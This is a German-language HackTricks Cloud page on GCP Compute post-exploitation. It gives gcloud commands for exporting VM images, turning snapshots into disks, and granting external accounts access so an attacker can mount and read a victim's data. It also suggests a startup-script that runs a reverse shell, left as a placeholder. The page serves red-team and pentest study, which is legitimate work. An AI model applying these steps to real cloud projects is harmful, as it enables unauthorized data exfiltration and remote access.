GCP - Compute Post Exploitation
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Compute
Für weitere Informationen zu Compute und VPC (Networking) siehe:
Exportieren & Inspektieren von Bildern lokal
Dies würde einem Angreifer ermöglichen, auf die Daten in bereits vorhandenen Bildern zuzugreifen oder neue Bilder von laufenden VMs zu erstellen und auf deren Daten zuzugreifen, ohne Zugriff auf die laufende VM zu haben.
Es ist möglich, ein VM-Bild in einen Bucket zu exportieren und es dann herunterzuladen und lokal mit dem Befehl zu mounten:
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
Um diese Aktion auszuführen, benötigt der Angreifer möglicherweise Berechtigungen für den Speicher-Bucket und auf jeden Fall Berechtigungen für cloudbuild, da es der Dienst ist, der aufgefordert wird, den Export durchzuführen.
Darüber hinaus müssen für das Funktionieren der Codebuild SA und der Compute SA privilegierte Berechtigungen vorhanden sein.
Die Cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com
benötigt:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
Und die SA <project-id>-compute@developer.gserviceaccount.com
benötigt:
- roles/compute.storageAdmin
- roles/storage.objectAdmin
Exportieren & Überprüfen von Snapshots & Festplatten lokal
Es ist nicht möglich, Snapshots und Festplatten direkt zu exportieren, aber es ist möglich, einen Snapshot in eine Festplatte, eine Festplatte in ein Image zu transformieren und gemäß dem vorherigen Abschnitt dieses Image zu exportieren, um es lokal zu überprüfen.
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
Inspect an Image creating a VM
Mit dem Ziel, auf die Daten, die in einem Image gespeichert sind oder innerhalb einer laufenden VM, von wo ein Angreifer ein Image erstellt hat, zuzugreifen, ist es möglich, einem externen Konto Zugriff auf das Image zu gewähren:
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
und dann eine neue VM daraus erstellen:
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
Wenn Sie Ihrem externen Konto keinen Zugriff über das Image gewähren konnten, könnten Sie eine VM mit diesem Image im Projekt des Opfers starten und die Metadaten dazu bringen, eine Reverse-Shell auszuführen, um auf das Image zuzugreifen, indem Sie den Parameter hinzufügen:
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
Überprüfen eines Snapshots/Disks, indem er an eine VM angehängt wird
Mit dem Ziel, auf die Daten, die auf einem Disk oder einem Snapshot gespeichert sind, zuzugreifen, könnten Sie den Snapshot in einen Disk, einen Disk in ein Image umwandeln und die vorherigen Schritte befolgen.
Oder Sie könnten einem externen Konto Zugriff auf den Disk gewähren (wenn der Ausgangspunkt ein Snapshot ist, gewähren Sie Zugriff auf den Snapshot oder erstellen Sie einen Disk daraus):
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
Hängen Sie die Festplatte an eine Instanz an:
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
Mounten Sie die Festplatte innerhalb der VM:
- SSH in die VM:
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identifizieren Sie die Festplatte: Sobald Sie in der VM sind, identifizieren Sie die neue Festplatte, indem Sie die Festplattengeräte auflisten. Typischerweise finden Sie sie als
/dev/sdb
,/dev/sdc
usw. - Formatieren und Mounten der Festplatte (wenn es sich um eine neue oder rohe Festplatte handelt):
- Erstellen Sie einen Mount-Punkt:
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Mounten Sie die Festplatte:
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Wenn Sie keinen Zugriff auf ein externes Projekt für den Snapshot oder die Festplatte gewähren können, müssen Sie möglicherweise diese Aktionen innerhalb einer Instanz im selben Projekt wie der Snapshot/die Festplatte durchführen.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.